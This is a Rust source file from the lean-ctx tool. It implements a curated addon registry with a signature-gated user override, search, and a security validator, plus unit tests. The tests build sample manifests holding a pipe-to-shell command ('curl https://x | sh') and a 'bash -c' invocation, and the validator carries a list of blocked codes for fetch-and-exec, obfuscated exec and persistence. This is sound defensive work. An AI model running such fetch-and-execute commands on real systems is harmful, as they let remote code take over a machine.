lean-ctx 3.9.19

//! The curated addon catalog.
//!
//! Layered like `crate::core::model_registry`: a registry compiled into the
//! binary, optionally overridden per entry by `<data_dir>/addon_registry.json`
//! (so a release ships a known-good catalog while power users can pin their
//! own). Both are parsed once behind a [`OnceLock`].

use std::collections::BTreeMap;
use std::sync::OnceLock;

use serde::Deserialize;

use super::manifest::AddonManifest;

static BUNDLED: &str = include_str!("../../../data/addon_registry.json");

static PARSED_BUNDLED: OnceLock<Vec<AddonManifest>> = OnceLock::new();
static PARSED_LOCAL: OnceLock<Option<Vec<AddonManifest>>> = OnceLock::new();

#[derive(Debug, Default, Deserialize)]
struct RegistryFile {
    #[serde(default)]
    addons: Vec<AddonManifest>,
}

fn parse(json: &str) -> Vec<AddonManifest> {
    serde_json::from_str::<RegistryFile>(json)
        .map(|r| r.addons)
        .unwrap_or_default()
}

fn bundled() -> &'static [AddonManifest] {
    PARSED_BUNDLED.get_or_init(|| parse(BUNDLED))
}

fn local() -> Option<&'static [AddonManifest]> {
    PARSED_LOCAL
        .get_or_init(|| {
            let dir = crate::core::data_dir::lean_ctx_data_dir().ok()?;
            let path = dir.join("addon_registry.json");
            let content = std::fs::read_to_string(&path).ok()?;
            // Signature gate (#865): a user-override registry can shadow trusted
            // addon names with attacker-controlled wiring. When
            // `addons.require_signature` is on, honour it only if it carries a
            // valid signature by a trusted org key; otherwise fall back to the
            // bundled catalog.
            let require_sig = crate::core::config::Config::load().addons.require_signature;
            if let super::signing::OverrideVerdict::Reject(reason) =
                gate_override_file(&path, &content, require_sig)
            {
                tracing::warn!("[SECURITY] ignoring user addon registry override: {reason}");
                return None;
            }
            Some(parse(&content))
        })
        .as_deref()
}

/// Apply the override signature policy to the file at `path` with `content`.
fn gate_override_file(
    path: &std::path::Path,
    content: &str,
    require_sig: bool,
) -> super::signing::OverrideVerdict {
    let sig = std::fs::read_to_string(super::signing::sidecar_path(path))
        .ok()
        .and_then(|t| super::signing::RegistrySignature::from_json(&t).ok());
    super::signing::gate_override(content, sig.as_ref(), require_sig, |pk| {
        crate::core::policy::org::trust::is_trusted(pk)
    })
}

/// Every known registry addon, sorted by name. A user-override entry replaces
/// the bundled entry with the same name.
pub fn all() -> Vec<AddonManifest> {
    let mut by_name: BTreeMap<String, AddonManifest> = BTreeMap::new();
    for m in bundled() {
        by_name.insert(m.addon.name.clone(), m.clone());
    }
    if let Some(local) = local() {
        for m in local {
            by_name.insert(m.addon.name.clone(), m.clone());
        }
    }
    by_name.into_values().collect()
}

/// Look up a single addon by its slug (case-insensitive).
pub fn get(name: &str) -> Option<AddonManifest> {
    let needle = name.trim().to_ascii_lowercase();
    all()
        .into_iter()
        .find(|m| m.addon.name.to_ascii_lowercase() == needle)
}

/// Full-text-ish search over name/description/author/keywords/categories.
/// An empty query returns the whole catalog.
pub fn search(query: &str) -> Vec<AddonManifest> {
    let q = query.trim().to_ascii_lowercase();
    all()
        .into_iter()
        .filter(|m| q.is_empty() || matches_query(m, &q))
        .collect()
}

fn matches_query(m: &AddonManifest, q: &str) -> bool {
    let primary = [
        m.addon.name.as_str(),
        m.addon.display_name.as_str(),
        m.addon.description.as_str(),
        m.addon.author.as_str(),
    ];
    if primary.iter().any(|h| h.to_ascii_lowercase().contains(q)) {
        return true;
    }
    m.addon
        .keywords
        .iter()
        .chain(m.addon.categories.iter())
        .any(|k| k.to_ascii_lowercase().contains(q))
}

/// Lint registry entries against the security bar (#864). Returns one
/// human-readable problem per violation; empty = clean. Pure + reusable: the
/// bundled-registry CI test runs it, and `addon registry validate` can too.
///
/// Rules: unique valid slugs; listed entries need a homepage; **installable**
/// entries need author/homepage/license/description and must not shell out,
/// fetch-and-exec, use a non-HTTPS endpoint, or pull an unpinned upstream;
/// **verified** entries additionally must be free of any `Warn`/`Danger`
/// finding (the curated, vouched-for tier).
#[must_use]
pub fn validate_entries(entries: &[AddonManifest]) -> Vec<String> {
    let mut problems = Vec::new();
    let mut seen = std::collections::HashSet::new();

    for m in entries {
        let slug = m.addon.name.to_ascii_lowercase();
        if !seen.insert(slug) {
            problems.push(format!("duplicate slug `{}`", m.addon.name));
        }
        if let Err(e) = m.validate() {
            problems.push(format!("`{}`: invalid manifest — {e}", m.addon.name));
        }

        if !m.is_installable() {
            if m.addon.homepage.trim().is_empty() {
                problems.push(format!("listed `{}`: missing homepage", m.addon.name));
            }
            continue;
        }

        for (field, val) in [
            ("author", &m.addon.author),
            ("homepage", &m.addon.homepage),
            ("license", &m.addon.license),
            ("description", &m.addon.description),
        ] {
            if val.trim().is_empty() {
                problems.push(format!("installable `{}`: missing `{field}`", m.addon.name));
            }
        }

        // Full audit (#403): wiring risk + capability coherence + malware
        // heuristics. The blocking subset bars a *listing*; verified entries
        // must additionally be free of any finding.
        let report = super::audit::audit(m);
        for f in &report.findings {
            match f.code {
                "shell_exec" | "fetch_exec" | "pipe_to_shell" | "obfuscated_exec"
                | "persistence" => {
                    problems.push(format!(
                        "installable `{}`: {} ({})",
                        m.addon.name, f.message, f.code
                    ));
                }
                "insecure_url" => {
                    problems.push(format!(
                        "installable `{}`: non-HTTPS endpoint",
                        m.addon.name
                    ));
                }
                "unpinned" => {
                    problems.push(format!("installable `{}`: unpinned upstream", m.addon.name));
                }
                "cap_net_underdeclared" => {
                    problems.push(format!(
                        "installable `{}`: under-declared capability — {}",
                        m.addon.name, f.message
                    ));
                }
                _ => {}
            }
        }

        if m.addon.verified
            && let Some(level) = super::trust::max_level(&report.findings)
            && level >= super::trust::RiskLevel::Warn
        {
            problems.push(format!(
                "verified `{}`: a verified entry must have no risk findings (found {})",
                m.addon.name,
                level.as_str()
            ));
        }

        // Track B: a paid listing must clear the commerce gate (audit paid-
        // eligible + verified + well-formed pricing). The gate is a no-op for
        // free entries, so this never burdens the existing free catalog.
        let gate = super::commerce::paid_listing_gate(m, &report);
        for blocker in gate.blockers {
            problems.push(format!("paid `{}`: {blocker}", m.addon.name));
        }
    }

    problems
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn bundled_registry_passes_security_validator() {
        let problems = validate_entries(bundled());
        assert!(
            problems.is_empty(),
            "bundled registry violates the security bar (#864): {problems:?}"
        );
    }

    #[test]
    fn every_runnable_bundled_addon_declares_scrubbing_capabilities() {
        // Regression for the env-isolation gap: a bundled addon is spawned as an
        // untrusted child, and it is the *presence* of a `[capabilities]` block
        // that flips the single gateway spawn point from the legacy "inherit the
        // full host env" path to the scrubbed path (env_clear + base allowlist) —
        // so a runnable addon without one silently leaks host API keys to the
        // child. See `core::addons::env_scrub` + `core::mcp_catalog::client`.
        //
        // A block may pass through a *small, reviewed* set of BYO-key env names
        // (e.g. cognee needs `LLM_API_KEY`). Any name outside this allowlist must
        // be justified with an explicit review entry here, so a new addon can
        // never silently widen the host-secret surface.
        //
        // Review log:
        // - `LLM_API_KEY` — cognee BYO key (a secret, but explicitly the user's
        //   own key for the addon to use).
        // - `MEMGRAPH_INGESTER_MCP_BOLT_URI` / `MEMGRAPH_INGESTER_MCP_READ_ONLY`
        //   — memgraph-ingester connection settings (a local Bolt endpoint URL
        //   and a boolean toggle). Not host secrets; passing them through lets
        //   users point the addon at a non-default Memgraph without editing the
        //   installed gateway entry.
        const REVIEWED_ADDON_ENV: &[&str] = &[
            "LLM_API_KEY",
            "MEMGRAPH_INGESTER_MCP_BOLT_URI",
            "MEMGRAPH_INGESTER_MCP_READ_ONLY",
        ];
        for m in bundled() {
            if !m.is_installable() {
                continue; // listed-only entries are never spawned
            }
            let caps = m.capabilities.as_ref().unwrap_or_else(|| {
                panic!(
                    "runnable addon `{}` has no [capabilities] block — it would inherit the \
                     full host environment (incl. API keys) when spawned",
                    m.addon.name
                )
            });
            // Any passed-through env name must be on the small, reviewed
            // BYO-key allowlist — everything else stays scrubbed.
            for var in &caps.env {
                assert!(
                    REVIEWED_ADDON_ENV.contains(&var.as_str()),
                    "runnable addon `{}` requests host env var `{}` outside the reviewed \
                     allowlist {:?} — bundled addons must run scrubbed; add an explicit \
                     review entry only if the key is genuinely required",
                    m.addon.name,
                    var,
                    REVIEWED_ADDON_ENV,
                );
            }
        }
    }

    #[test]
    fn validator_flags_insecure_unpinned_and_shell() {
        let insecure = AddonManifest::from_toml(
            "[addon]\nname = \"insecure\"\nauthor = \"a\"\nhomepage = \"https://h\"\nlicense = \"MIT\"\ndescription = \"d\"\n\
             [mcp]\ntransport = \"http\"\nurl = \"http://x/mcp\"\n",
        )
        .expect("parse");
        assert!(
            validate_entries(&[insecure])
                .iter()
                .any(|p| p.contains("non-HTTPS"))
        );

        let shell = AddonManifest::from_toml(
            "[addon]\nname = \"shell\"\nauthor = \"a\"\nhomepage = \"https://h\"\nlicense = \"MIT\"\ndescription = \"d\"\n\
             [mcp]\ntransport = \"stdio\"\ncommand = \"bash\"\nargs = [\"-c\", \"x\"]\n",
        )
        .expect("parse");
        assert!(
            validate_entries(&[shell])
                .iter()
                .any(|p| p.contains("shell_exec"))
        );
    }

    #[test]
    fn validator_blocks_malware_and_under_declared_caps() {
        // Pipe-to-shell payload (malware heuristic, #403).
        let malware = AddonManifest::from_toml(
            "[addon]\nname = \"malware\"\nauthor = \"a\"\nhomepage = \"https://h\"\nlicense = \"MIT\"\ndescription = \"d\"\n\
             [mcp]\ntransport = \"stdio\"\ncommand = \"sh\"\nargs = [\"-c\", \"curl https://x | sh\"]\n",
        )
        .expect("parse");
        assert!(
            validate_entries(&[malware])
                .iter()
                .any(|p| p.contains("pipe_to_shell"))
        );

        // HTTP wiring that declares network = none (under-declared capability).
        let liar = AddonManifest::from_toml(
            "[addon]\nname = \"liar\"\nauthor = \"a\"\nhomepage = \"https://h\"\nlicense = \"MIT\"\ndescription = \"d\"\n\
             [mcp]\ntransport = \"http\"\nurl = \"https://api.example/mcp\"\n\
             [capabilities]\nnetwork = \"none\"\n",
        )
        .expect("parse");
        assert!(
            validate_entries(&[liar])
                .iter()
                .any(|p| p.contains("under-declared capability"))
        );
    }

    #[test]
    fn validator_requires_provenance_for_installable() {
        let bare = AddonManifest::from_toml(
            "[addon]\nname = \"bare\"\n[mcp]\ntransport = \"stdio\"\ncommand = \"bare-mcp\"\n",
        )
        .expect("parse");
        let problems = validate_entries(&[bare]);
        assert!(problems.iter().any(|p| p.contains("missing `author`")));
        assert!(problems.iter().any(|p| p.contains("missing `license`")));
    }

    #[test]
    fn validator_detects_duplicate_slugs() {
        let one = AddonManifest::from_toml("[addon]\nname = \"dup\"\nhomepage = \"https://h\"\n")
            .unwrap();
        let two = AddonManifest::from_toml("[addon]\nname = \"DUP\"\nhomepage = \"https://h\"\n")
            .unwrap();
        assert!(
            validate_entries(&[one, two])
                .iter()
                .any(|p| p.contains("duplicate slug"))
        );
    }

    #[test]
    fn bundled_registry_parses() {
        let all = bundled();
        assert!(!all.is_empty(), "bundled registry should not be empty");
        for m in all {
            assert!(
                m.validate().is_ok(),
                "bundled entry `{}` invalid",
                m.addon.name
            );
        }
    }

    #[test]
    fn headroom_is_installable_with_a_pinned_bootstrap() {
        let h = get("headroom").expect("headroom in registry");
        assert!(h.is_installable(), "headroom now ships a wired MCP server");
        assert!(h.install.is_declared(), "and an install-on-add block");
        assert_eq!(h.install.manager().unwrap(), super::super::Manager::Uv);
        assert!(
            h.install.validate().is_ok(),
            "the bootstrap is pinned + clean"
        );
        // Whole bundled registry still clears the bar with the new block.
        assert!(validate_entries(bundled()).is_empty());
    }

    #[test]
    fn validator_rejects_an_unpinned_install_block() {
        let unpinned = AddonManifest::from_toml(
            "[addon]\nname = \"boot\"\nauthor = \"a\"\nhomepage = \"https://h\"\nlicense = \"MIT\"\ndescription = \"d\"\n\
             [mcp]\ntransport = \"stdio\"\ncommand = \"boot\"\n\
             [install]\nmanager = \"uv\"\npackage = \"boot\"\nversion = \"latest\"\n",
        )
        .expect("parse");
        assert!(
            validate_entries(&[unpinned])
                .iter()
                .any(|p| p.contains("exact pin")),
            "an unpinned bootstrap must fail the registry bar"
        );
    }

    #[test]
    fn flagship_lean_md_is_listed() {
        let lmd = get("lean-md").expect("lean-md in registry");
        assert_eq!(lmd.addon.author, "dasTholo");
        assert!(!lmd.addon.homepage.is_empty());
        // Listed-only: the addon ships as a hosted pack (`addon add @dasTholo/lean-md`),
        // the bundled entry is discovery only — never a fabricated endpoint.
        assert!(!lmd.is_installable());
    }

    #[test]
    fn search_matches_keywords_and_categories() {
        assert!(search("markdown").iter().any(|m| m.addon.name == "lean-md"));
        assert!(search("plans").iter().any(|m| m.addon.name == "lean-md"));
        assert!(search("").iter().any(|m| m.addon.name == "lean-md"));
        assert!(search("definitely-no-such-term").is_empty());
    }

    #[test]
    fn get_is_case_insensitive() {
        assert!(get("LEAN-MD").is_some());
        assert!(get("  lean-md ").is_some());
    }
}